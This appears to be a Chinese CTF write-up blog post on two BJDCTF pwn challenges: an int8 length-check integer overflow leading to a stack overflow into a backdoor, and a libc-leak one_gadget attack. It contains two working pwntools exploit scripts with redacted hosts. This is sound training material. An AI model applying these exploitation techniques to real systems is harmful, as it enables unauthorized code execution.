• bjdctf r2t3 onegadget


      没错,这就是一篇很水的随笔。...

      两道很简单的题,先来看第一道。r2t3,保护检查了一下是只开启了堆栈不可执行。

      简单看一下ida的伪代码。

      main函数让你输入一个name,然后会执行一个name_check的函数,可以看到v3是int8类型的。这里可以进行整数溢出。

         Int8, 等于Byte, 占1个字节.

        Int16, 等于short, 占2个字节. -32768 32767

        Int32, 等于int, 占4个字节. -2147483648 2147483647

        Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807

        这样, 看起来比short,int,long更加直观些!

       另外, 还有一个Byte, 它等于byte, 0 - 255.

      所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。

      例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.

      如果1111 1111再加1呢?结果就是0000 0000了,但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作,可以看到这里有个判断就是判断v3的长度,必须是在(3,8]这个区间内,满足这个容易,但是就溢出不到返回地址,要想溢出到返回地址,其实输入name的值是肯定要比8大的,这里就用到了这个整数溢出,我们可以给name的值的长度为260,这样就可以既绕过判断长度,又可以溢出到返回地址。

      对了,这道题给了后门,所以就直接拿到shell了。这里贴一下exp:

     1 from pwn import *
     2 
     3 p = remote('xxxxxx',xxxxx)
     4 context.log_level = 'debug'
     5 
     6 shell = 0x0804858B
     7 payload = 'a'*21 + p32(shell)
     8 payload += 'b'*(255-len(payload)+4)
     9 p.sendlineafter('name:',payload)
    10 
    11 print p.recv()
    12 p.recv()
    13 p.interactive()

      接下来就是one_gadget了,这道题,直接给了一个printf的地址,查一下libc版本,然后算出基地址,在直接找一个可以用的one_gadget,就直接拿到shell了。。。

      我比赛的时候一直在搭建自己学校的CTF平台,没顾上打这场比赛。。。(主要是自己菜,一道题也做不出来。。。哭唧唧)

    就尝试了这一道题,不知道为啥,当时怎么也打不通.............比赛完,再一试,就通了。  无耻的还是贴一下exp:

     1 from pwn import *
     2 
     3 context.log_level = 'debug'
     4 p = remote('xxxxxxxxn',xxxx)
     5 
     6 p.recvuntil('u:0x')
     7 print_addr = int(p.recv(12),16)
     8 og = [0xe237f,0xe2383,0xe2386,0x106ef8]
     9 base_addr = print_addr - 0x062830
    10 shell = base_addr + og[3]
    11 payload = str(shell)
    12 print payload
    13 p.sendlineafter('gadget:',payload)
    14 p.interactive()

      本来还想发一道题的,结果看见是堆题目,立一个flag,这个星期忙里偷闲,把堆入个门,顺便把拿到yds想要女朋友(???是CTF它不好玩吗?要什么女朋友???)做出来!

      下两个博客一个是堆,一个是那道题的解析!好了,又水了一篇博客,真开心,溜了溜了,上数据库原理去了。。。

  • 相关阅读:
    【二分图】HEOI2012 朋友圈
    【转载】动态规划—各种 DP 优化
    【默哀】京阿尼纵火案一周年
    【暑假集训】HZOI2019 Luogu P1006 传纸条 二三四维解法
    【暑假集训】HZOI2019 水站 多种解法
    最小二乘法求线性回归方程
    51Nod 最大M子段和系列 V1 V2 V3
    【博弈论】51Nod 1534 棋子游戏
    【最短路】CF 938D Buy a Ticket
    51nod1524 最大子段和V2
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12572580.html
Copyright © 2020-2023  润新知